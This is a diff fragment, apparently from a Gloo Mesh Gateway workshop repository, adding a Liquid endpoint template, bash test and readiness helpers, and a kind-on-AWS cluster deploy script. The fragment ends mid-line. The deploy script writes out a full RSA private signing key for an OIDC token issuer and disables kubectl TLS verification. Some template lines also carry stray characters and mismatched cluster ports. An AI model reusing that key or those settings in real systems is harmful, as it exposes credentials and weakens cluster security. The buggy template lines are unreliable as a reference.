N3+XHUwMDE3XHUwMDBiXHUwMDEwXHUwMDA2QnG6ue/46j6eXHUwMDFjdGit9/pQeFx1MDAxZeC+7H7kPoNupjAkiW1cIrHTc4wxcniOhXfK11x1MDAwNpnanlx1MDAxZESlJW2XXCIuk1xc8GLXf/xQXFyAxJCn7JdcdTAwMTCQVFx1MDAwN8c758T2ns/dXFwgXHUwMDEztmRzLytcdTAwMDd751x1MDAxNoCoYYDwxeaZ3uV7efnWqvRcdTAwMGL8MTZcdTAwMWUmUtWnUohcdTAwMDedyakkysJamVxcOvNqXHUwMDBivJhcdTAwMDVcdTAwMTSWXHUwMDE2poJRziSRSPlgnFxyklx1MDAwYjz7XHUwMDA0L2TLwlx1MDAxMWHLpfo9cVx1MDAxY/bKMUP/sWy9kyNiil3NXHUwMDBlrFx1MDAxY588vtkxxbs5XHUwMDFhXGLyUbRCXHUwMDAxeW7jaVDTzGU2okuJ3IyU6p+dytO07DUzPDg8qJi0XHUwMDEwxZKJ+atcXOVBu6r1cTXswYPErevjXG5cdTAwMGZcdTAwMTIkuKl9/4+dXHS5XHUwMDFiXHUwMDBmkoDwINmNXHUwMDA3sU+SL2HSzPTFm4PdXrbKXHUwMDEy3d5D8yWcnNZQJEzuwqWg86BhPVx1MDAwYsuvTqxyhVx1MDAwNe11id5jq4+vXHUwMDA2iSlcdTAwMTSlYHieqbMvflx1MDAxNau1q+FcIr1cdTAwMWG9i2H2cXbdutS2bV18o7Pvn6NlvefyaVx1MDAwNUfG2Fx1MDAxNjm0Sfb+XHUwMDE4x+l6PCojvdebxmRy9VlcdTAwMGY8g0tCLITcrVnD31xudC9cIphqKtkpVSzGhGKmTjrH5kfHXHUwMDFlXFzHXHUwMDEym+91dZ6UIFx1MDAxNG1cdTAwMTH2vrpcdTAwMTXTfnF23Yx2XHUwMDFm6IDPMt3qjddk4IBxoJKgPrl5dbrTpdJcdTAwMGVcdTAwMTbUx2FBl5pBXHUwMDE3XHUwMDE2JJiDusf/sUWCu3EgXHJcYlx1MDAwN9I9klx1MDAwYlx1MDAwNfZMP1x1MDAwMUtUXCKOhNpcXFx1MDAxM8bTvJO9XHUwMDFmhUdcdTAwMDNyJXWi3/xA407Ao1pUm1x1MDAxOcx/XHUwMDEygtFSXFybSFNayVx1MDAwNcOKYI35fkj3wNUkylQ/4pNan/skXHUwMDE4Jm+uSkPy0Vx1MDAxYr6iSrdwd8lcdTAwMTMvjWhwM1x1MDAwMc+tmuRIx3tey1x1MDAxZaua5FxcTmFdPqT7XHJcdTAwMTfLrsiAY+dD2udcdTAwMTCu4EI2r7De3PXif5xcdTAwMDHFhaCRhJ9GUtLSh9JIh0iIXHUwMDE0XG5cdTAwMTOtxE+FyoVcclx1MDAxY45cdTAwMDByVUvD6sVjr+pcdTAwMGVcdTAwMTOPlFx1MDAxNLlcdTAwMDaCLYNHxz53h5GMeZaWXHSiNVx1MDAxNZpvUaNSeVx1MDAxOMpaXCJ5XHUwMDEzmaRZ/eouXHUwMDE2yaXULijyXHUwMDFia1SoRlx1MDAxNl1cXMtcdTAwMWSiuLCw1ppcdTAwMDBeXHUwMDEzxMdd+v1FKlxudlx1MDAwNZ/lZ9r+c5yIp6X+XHUwMDE41/toXHUwMDE2v3zT6PM6Xd1fXHUwMDBmXHUwMDFmadmfXCKVc3xq57LsOqznfsNcdTAwMTNiPZ+u0ZhcdG7yTLdoXCLmf57BXHUwMDA1e9xPcUhqiVx1MDAwMymOQ2A9ylx1MDAwNENanTLnJIBgXHUwMDBmsNPFrDVuXlxcdac992mlR6uB8cdKy3Bvaae7XHUwMDAzPs48XHUwMDAzaFx1MDAxOCMlhNymbO0p2+nnO9P7z1xu5rPbz7typFh/XHUwMDBmut9wnmv71UuAOt33XHUwMDE4bFVLSoP8MJKAgX1aXHUwMDAw7tFcbmvXNjRcdTAwMTRYgbBT1sfsXHUwMDAz+lL44fHjKswnrZFOhWL1l/ro+Ta46OzcXHUwMDFjh0c63iMtm9MprajKvL69JIdccjWLTlx1MDAwNrPXXHUwMDAznMJdXHUwMDBihTqy+Zx9zd6np6JcdTAwMWRcdTAwMTK1psdI+a3WzaCKbJTQMIFz42wpXHUwMDE2RTE86Fx1MDAxZWDd51Qu0u/AaTQ+w7fx2Pvw6XY2PMC6T9O3QSc9ruhy8vPms5VcdTAwMWQ0XHUwMDA2mUNM7D04OayDv+43PCH85drT1YmxpkoysoVcdTAwMGX1P8/gwl/qq0VcdTAwMDWxyEZa9Lv632OKsJQnbZhcdTAwMWJAXHUwMDA0XHUwMDFja/d6XHUwMDE3d7VR89v9nWug4zJcdTAwMDB2bnRcdTAwMGb8y71NV6lMXHUwMDE3Xkw259276+frxn3q6TOuVD5SilXiicvImeFfJ+NySi3KiFRMSI24rcnFQTNEd4O/iCEkXHRcdHDEwk9xdmqpm8/4WzTbV1x1MDAxZr3PXFy/3828XHUwMDBlftDvodDvkY73vJY9Vtj84NtdXHUwMDA3+txveELQJ7zj25gxYZJcdTAwMDK3qLHzP89zXHUwMDAxfUuqgyNLbaQ6vlx1MDAwYvMpXHUwMDAxqozRIHftPVx1MDAwMea7XHUwMDFkjVu9b8d7a6DSMt5bbHInbuXKZ/ZcdTAwMTFcdTAwMTFcbim8RdOPfDxLMvilejvRj61ZpHRcdTAwMWa/f1xyfncuhsl8vtEvZl3u94/kZlx1MDAwMYp9k1E0XmVV6lJcZoQoZo4pwYFjVT/9OHkrik77LfaSzVxcXed7vWa6/6g207v7aDJXQbBx559krVHruktcdTAwMDFbfvn3JEP/3stuqll6liRgU1xix0ybr42ZPUzeXHUwMDEzscpNMT28XHUwMDE2w2xavzzd5Fx1MDAwMu+PYVx1MDAxNDFLmOYuXGZcYobbmjXNW/FZprlcdTAwMGJTgpuRvtyvydee3C5dSv9WuV1rrLQ+aWOLfZi9d11OXFy9p3KJbu65O0unc2+9yoZcdTAwMWXm0zF7pN1yPLFTMvvvvfgyu3c7L+9eXHUwMDE3mpupyHKLXHUwMDEyX98nXHUwMDE5SP9cciMmY1xytDrhkiHgZlx1MDAwN6dcdTAwMTNiKSQwxlxuXHUwMDE0qlwiYr+yXHUwMDA371x1MDAwMWamr1x0oPz5uCBsf1wii+5+lulcdTAwMDNAKHC6maSmV4uTXHUwMDE0MzOe9D++l5e/wrmwz+vB8ztzqaniWC2g+sXXsDBmXHUwMDExQUBcdTAwMTEoM95cdTAwMTN035pcdGZn21gn5E2D5lqhvsV6f9l/Lkuf3+VQXHUwMDBmgvY+u5oli7f0I11cdTAwMWK8o9DL4ot4iKjfvaaYPS3IaVwig/ksbJetXHUwMDFmyFx1MDAxZs5cdTAwMDI9vspKXFz4XHSFQ/hlt1x1MDAwMTXHSM51Z/yD8fVcdTAwMWaJo1x0I8bGWCmdm2/HMzGGmp6JeiO1sixBXHUwMDFj/LGLXGY5MNNwx1x1MDAxZoCgcFx1MDAxMCuVa1egXHUwMDE4O2hcdTAwMThcdPuClPC1K9hI3FxccFx1MDAwZau8ua1IWi9kKXrlXVx1MDAxNq7Id1WIyYf4ZSTyfukmZEMgZc1oTaK06WxccsJUrDZMXHUwMDA0y5owM0JcdTAwMTI+XHUwMDA1gFx1MDAxYpM/8mXLjomFR/4+SfHLR5RrxzqpcTGazPS9doVNOT1AXHUwMDFjXGZcYlx1MDAwNzOpV3alXHUwMDFk87OIWm3juIv8/iUn//r9VP4u9fvpMZDx17f6e9qqzS69893/+r1cdTAwMDEjZGrmu/zP//71v/9cdTAwMWZbSLlAIn0= + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/gateway/2-4/airgap/standalone-portal/partials/calculate-endpoints.liquid b/gloo-mesh/gateway/2-4/airgap/standalone-portal/partials/calculate-endpoints.liquid new file mode 100644 index 0000000000..e7bd4df90d --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/standalone-portal/partials/calculate-endpoints.liquid @@ -0,0 +1,58 @@ +{%- assign fqdn_httpbin = vars.httpbin_fqdn | default: "httpbin.example.com" %} +{%- assign fqdn_bookinfo = vars.bookinfo_fqdn | default: "bookinfo.example.com" %} +{%- assign fqdn_portal = vars.portal_fqdn | default: "portal.example.com" %} +{%- assign fqdn_grpcbin = vars.grpcbin_fqdn | default: "grpcbin.example.com" %} +{%- assign fqdn_backstage = vars.backstage_fqdn | default: "backstage.example.com" %} +{%- assign fqdn_cluster1_httpbin = "cluster1-" | append: fqdn_httpbin %} +{%- assign fqdn_cluster2_httpbin = "cluster2-" | append: fqdn_httpbin %} +{%- assign fqdn_cluster1_bookinfo = "cluster1-" | append: fqdn_bookinfo %} +{%- assign fqdn_cluster2_bookinfo = "cluster2-" | append: fqdn_bookinfo %} +{%- assign fqdn_cluster1_portal = "cluster1-" | append: fqdn_portal %} +{%- assign fqdn_cluster2_portal = "cluster2-" | append: fqdn_portal %} +{%- assign fqdn_cluster1_grpcbin = "cluster1-" | append: fqdn_grpcbin %} +{%- assign fqdn_cluster2_grpcbin = "cluster2-" | append: fqdn_grpcbin %} +{%- assign fqdn_cluster1_backstage = "cluster1-" | append: fqdn_backstage %} +{%- assign fqdn_cluster2_backstage = "cluster2-" | append: fqdn_backstage %} +{%- if vars.node_port or vars.cluster1.node_port %} +{%- assign endpoint_http_gw_cluster1_httpbin = fqdn_cluster1_httpbin | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_httpbin = fqdn_cluster1_httpbin | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_bookinfo = fqdn_cluster1_bookinfo | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_bookinfo = fqdn_cluster1_bookinfo | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_portal = fqdn_cluster1_portal | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_portal = fqdn_cluster1_portal | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_grpcbin = fqdn_cluster1_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_grpcbin = fqdn_cluster1_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_backstage = fqdn_cluster1_backstage | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_backstage = fqdn_cluster1_backstage | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- if vars.node_port or vars.cluster2.node_port %} +{%- assign endpoint_http_gw_cluster2_httpbin = fqdn_cluster2_httpbin | append: ":${NODEPORT_CLUSTER2_HTTP}" %} +{%- assign endpoint_https_gw_cluster2_httpbin = fqdn_cluster2_httpbin | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo | append: ":${NODEPORT_CLUSTER2_HTTP}')" %} +{%- assign endpoint_https_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_portal = fqdn_cluster2_portal | append: ":${NODEPORT_CLUSTER2_HTTP}')" %} +{%- assign endpoint_https_gw_cluster2_portal = fqdn_cluster2_portal | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_backstage = fqdn_cluster2_backstage | append: ":${NODEPORT_CLUSTER2_HTTP}')" %} +{%- assign endpoint_https_gw_cluster2_backstage = fqdn_cluster2_backstage | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- endif %}{% comment %}cluster2 nodeport{% endcomment %} +{%- else %} +{%- assign endpoint_http_gw_cluster1_httpbin = fqdn_cluster1_httpbin %} +{%- assign endpoint_https_gw_cluster1_httpbin = fqdn_cluster1_httpbin %} +{%- assign endpoint_http_gw_cluster1_bookinfo = fqdn_cluster1_bookinfo %} +{%- assign endpoint_https_gw_cluster1_bookinfo = fqdn_cluster1_bookinfo %} +{%- assign endpoint_http_gw_cluster1_portal = fqdn_cluster1_portal %} +{%- assign endpoint_https_gw_cluster1_portal = fqdn_cluster1_portal %} +{%- assign endpoint_http_gw_cluster1_backstage = fqdn_cluster1_backstage %} +{%- assign endpoint_https_gw_cluster1_backstage = fqdn_cluster1_backstage %} +{%- assign endpoint_http_gw_cluster2_httpbin = fqdn_cluster2_httpbin %} +{%- assign endpoint_https_gw_cluster2_httpbin = fqdn_cluster2_httpbin %} +{%- assign endpoint_http_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo %} +{%- assign endpoint_https_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo %} +{%- assign endpoint_http_gw_cluster2_portal = fqdn_cluster2_portal %} +{%- assign endpoint_https_gw_cluster2_portal = fqdn_cluster2_portal %} +{%- assign endpoint_http_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin %} +{%- assign endpoint_https_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin %} +{%- assign endpoint_http_gw_cluster2_backstage = fqdn_cluster2_backstage %} +{%- assign endpoint_https_gw_cluster2_backstage = fqdn_cluster2_backstage %} +{%- endif %} \ No newline at end of file diff --git a/gloo-mesh/gateway/2-4/airgap/standalone-portal/scripts/assert.sh b/gloo-mesh/gateway/2-4/airgap/standalone-portal/scripts/assert.sh new file mode 100755 index 0000000000..75ba95ac90 --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/standalone-portal/scripts/assert.sh @@ -0,0 +1,252 @@ +#!/usr/bin/env bash + +##################################################################### +## +## title: Assert Extension +## +## description: +## Assert extension of shell (bash, ...) +## with the common assert functions +## Function list based on: +## http://junit.sourceforge.net/javadoc/org/junit/Assert.html +## Log methods : inspired by +## - https://natelandau.com/bash-scripting-utilities/ +## author: Mark Torok +## +## date: 07. Dec. 2016 +## +## license: MIT +## +##################################################################### + +if command -v tput &>/dev/null && tty -s; then + RED=$(tput setaf 1) + GREEN=$(tput setaf 2) + MAGENTA=$(tput setaf 5) + NORMAL=$(tput sgr0) + BOLD=$(tput bold) +else + RED=$(echo -en "\e[31m") + GREEN=$(echo -en "\e[32m") + MAGENTA=$(echo -en "\e[35m") + NORMAL=$(echo -en "\e[00m") + BOLD=$(echo -en "\e[01m") +fi + +log_header() { + printf "\n${BOLD}${MAGENTA}========== %s ==========${NORMAL}\n" "$@" >&2 +} + +log_success() { + printf "${GREEN}✔ %s${NORMAL}\n" "$@" >&2 +} + +log_failure() { + printf "${RED}✖ %s${NORMAL}\n" "$@" >&2 + file=.test-error.log + echo "$@" >> $file + echo "#############################################" >> $file + echo "#############################################" >> $file +} + + +assert_eq() { + local expected="$1" + local actual="$2" + local msg="${3-}" + + if [ "$expected" == "$actual" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$expected == $actual :: $msg" || true + return 1 + fi +} + +assert_not_eq() { + local expected="$1" + local actual="$2" + local msg="${3-}" + + if [ ! "$expected" == "$actual" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$expected != $actual :: $msg" || true + return 1 + fi +} + +assert_true() { + local actual="$1" + local msg="${2-}" + + assert_eq true "$actual" "$msg" + return "$?" +} + +assert_false() { + local actual="$1" + local msg="${2-}" + + assert_eq false "$actual" "$msg" + return "$?" +} + +assert_array_eq() { + + declare -a expected=("${!1-}") + # echo "AAE ${expected[@]}" + + declare -a actual=("${!2}") + # echo "AAE ${actual[@]}" + + local msg="${3-}" + + local return_code=0 + if [ ! "${#expected[@]}" == "${#actual[@]}" ]; then + return_code=1 + fi + + local i + for (( i=1; i < ${#expected[@]} + 1; i+=1 )); do + if [ ! "${expected[$i-1]}" == "${actual[$i-1]}" ]; then + return_code=1 + break + fi + done + + if [ "$return_code" == 1 ]; then + [ "${#msg}" -gt 0 ] && log_failure "(${expected[*]}) != (${actual[*]}) :: $msg" || true + fi + + return "$return_code" +} + +assert_array_not_eq() { + + declare -a expected=("${!1-}") + declare -a actual=("${!2}") + + local msg="${3-}" + + local return_code=1 + if [ ! "${#expected[@]}" == "${#actual[@]}" ]; then + return_code=0 + fi + + local i + for (( i=1; i < ${#expected[@]} + 1; i+=1 )); do + if [ ! "${expected[$i-1]}" == "${actual[$i-1]}" ]; then + return_code=0 + break + fi + done + + if [ "$return_code" == 1 ]; then + [ "${#msg}" -gt 0 ] && log_failure "(${expected[*]}) == (${actual[*]}) :: $msg" || true + fi + + return "$return_code" +} + +assert_empty() { + local actual=$1 + local msg="${2-}" + + assert_eq "" "$actual" "$msg" + return "$?" +} + +assert_not_empty() { + local actual=$1 + local msg="${2-}" + + assert_not_eq "" "$actual" "$msg" + return "$?" +} + +assert_contain() { + local haystack="$1" + local needle="${2-}" + local msg="${3-}" + + if [ -z "${needle:+x}" ]; then + return 0; + fi + + if [ -z "${haystack##*$needle*}" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$haystack doesn't contain $needle :: $msg" || true + return 1 + fi +} + +assert_not_contain() { + local haystack="$1" + local needle="${2-}" + local msg="${3-}" + + if [ -z "${needle:+x}" ]; then + return 0; + fi + + if [ "${haystack##*$needle*}" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$haystack contains $needle :: $msg" || true + return 1 + fi +} + +assert_gt() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -gt "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first > $second :: $msg" || true + return 1 + fi +} + +assert_ge() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -ge "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first >= $second :: $msg" || true + return 1 + fi +} + +assert_lt() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -lt "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first < $second :: $msg" || true + return 1 + fi +} + +assert_le() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -le "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first <= $second :: $msg" || true + return 1 + fi +} \ No newline at end of file diff --git a/gloo-mesh/gateway/2-4/airgap/standalone-portal/scripts/check.sh b/gloo-mesh/gateway/2-4/airgap/standalone-portal/scripts/check.sh new file mode 100755 index 0000000000..fa52484b28 --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/standalone-portal/scripts/check.sh @@ -0,0 +1,16 @@ +#!/usr/bin/env bash + +printf "Waiting for all the kube-system pods to become ready in context $1" +until [ $(kubectl --context $1 -n kube-system get pods -o jsonpath='{range .items[*].status.containerStatuses[*]}{.ready}{"\n"}{end}' | grep false -c) -eq 0 ]; do + printf "%s" "." + sleep 1 +done +printf "\n kube-system pods are now ready \n" + +printf "Waiting for all the metallb-system pods to become ready in context $1" +until [ $(kubectl --context $1 -n metallb-system get pods -o jsonpath='{range .items[*].status.containerStatuses[*]}{.ready}{"\n"}{end}' | grep false -c) -eq 0 ]; do + printf "%s" "." + sleep 1 +done +printf "\n metallb-system pods are now ready \n" + diff --git a/gloo-mesh/gateway/2-4/airgap/standalone-portal/scripts/deploy-aws-with-calico.sh b/gloo-mesh/gateway/2-4/airgap/standalone-portal/scripts/deploy-aws-with-calico.sh new file mode 100755 index 0000000000..1c7a2ec3cf --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/standalone-portal/scripts/deploy-aws-with-calico.sh @@ -0,0 +1,240 @@ +#!/usr/bin/env bash +set -o errexit + +number=$1 +name=$2 +region=$3 +zone=$4 +twodigits=$(printf "%02d\n" $number) +kindest_node=${KINDEST_NODE:-kindest\/node:v1.28.0@sha256:b7a4cad12c197af3ba43202d3efe03246b3f0793f162afb40a33c923952d5b31} + +if [ -z "$3" ]; then + region=us-east-1 +fi + +if [ -z "$4" ]; then + zone=us-east-1a +fi + +if hostname -I 2>/dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml <./oidc/sa-signer-pkcs8.pub +-----BEGIN PUBLIC KEY----- +MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA53YiBcrn7+ZK0Vb4odeA +1riYdvEb8To4H6/HtF+OKzuCIXFQ+bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL +395nvxdly83SUrdh7ItfOPRluuuiPHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0Zw +zIM9OviX8iEF8xHWUtz4BAMDG8N6+zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm +5X5uOKsCHMtNSjqYUNB1DxN6xxM+odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD8 +2p/16KQKU6TkZSrldkYxiHIPhu+5f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9 +ywIDAQAB +-----END PUBLIC KEY----- +EOF + +cat <<'EOF' >./oidc/sa-signer.key +-----BEGIN RSA PRIVATE KEY----- +MIIEpAIBAAKCAQEA53YiBcrn7+ZK0Vb4odeA1riYdvEb8To4H6/HtF+OKzuCIXFQ ++bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL395nvxdly83SUrdh7ItfOPRluuui +PHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0ZwzIM9OviX8iEF8xHWUtz4BAMDG8N6 ++zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm5X5uOKsCHMtNSjqYUNB1DxN6xxM+ +odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD82p/16KQKU6TkZSrldkYxiHIPhu+5 +f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9ywIDAQABAoIBAB8tro+RMYUDRHjG +el9ypAxIeWEsQVNRQFYkW4ZUiNYSAgl3Ni0svX6xAg989peFVL+9pLVIcfDthJxY +FVlNCjBxyQ/YmwHFC9vQkARJEd6eLUXsj8INtS0ubbp1VxCQRDDL0C/0z7OSoJJh +SwboqjEiTJExA2a+RArmEDTBRzdi3t+kT8G23JcqOivrITt17K6bQYyJXw7/vUdc +r/R+hfd5TqVq92VddzDT7RNJAxsbPPXjGnESlq1GALBDs+uBGYsP0fiEJb2nicSv +z9fBnBeERhut1gcE0C0iLRQZb+3r8TitBtxrZv+0BHgXrkKtXDwWTqGEKOwC4dBn +7nxkH2ECgYEA6+/DOTABGYOWOQftFkJMjcugzDrjoGpuXuVOTb65T+3FHAzU93zy +3bt3wQxrlugluyy9Sc/PL3ck2LgUsPHZ+s7zsdGvvGALBD6bOSSKATz9JgjwifO8 +PgqUz1kXRwez2CtKLOOCFFtcIzEdWIzsa1ubNqLzgN7rD+XBkUc2uEcCgYEA+yTy +72EDMQVoIZOygytHsDNdy0iS2RsBbdurT27wkYuFpFUVWdbNSL+8haE+wJHseHcw +BD4WIMpU+hnS4p4OO8+6V7PiXOS5E/se91EJigZAoixgDUiC8ihojWgK9PYEavUo +hULWbayO59SxYWeUI4Ze0GP8Jw8vdB86ib4ulF0CgYEAgyzRuLjk05+iZODwQyDn +WSquov3W0rh51s7cw0LX2wWSQm8r9NGGYhs5kJ5sLwGxAKj2MNSWF4jBdrCZ6Gr+ +y4BGY0X209/+IAUC3jlfdSLIiF4OBlT6AvB1HfclhvtUVUp0OhLfnpvQ1UwYScRI +KcRLvovIoIzP2g3emfwjAz8CgYEAxUHhOhm1mwRHJNBQTuxok0HVMrze8n1eov39 +0RcvBvJSVp+pdHXdqX1HwqHCmxhCZuAeq8ZkNP8WvZYY6HwCbAIdt5MHgbT4lXQR +f2l8F5gPnhFCpExG5ZLNg/urV3oAQE4stHap21zEpdyOMhZb6Yc5424U+EzaFdgN +b3EcPtUCgYAkKvUlSnBbgiJz1iaN6fuTqH0efavuFGMhjNmG7GtpNXdgyl1OWIuc +Yu+tZtHXtKYf3B99GwPrFzw/7yfDwae5YeWmi2/pFTH96wv3brJBqkAWY8G5Rsmd +qF50p34vIFqUBniNRwSArx8t2dq/CuAMgLAtSjh70Q6ZAnCF85PD8Q== +-----END RSA PRIVATE KEY----- +EOF + +cat << EOF > kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} + extraMounts: + - containerPath: /etc/kubernetes/oidc + hostPath: /${PWD}/oidc +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: ClusterConfiguration + apiServer: + extraArgs: + service-account-key-file: /etc/kubernetes/pki/sa.pub + service-account-key-file: /etc/kubernetes/oidc/sa-signer-pkcs8.pub + service-account-signing-key-file: /etc/kubernetes/oidc/sa-signer.key + service-account-issuer: https://solo-workshop-oidc.s3.us-east-1.amazonaws.com + api-audiences: sts.amazonaws.com + extraVolumes: + - name: oidc + hostPath: /etc/kubernetes/oidc + mountPath: /etc/kubernetes/oidc + readOnly: true + metadata: + name: config +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || 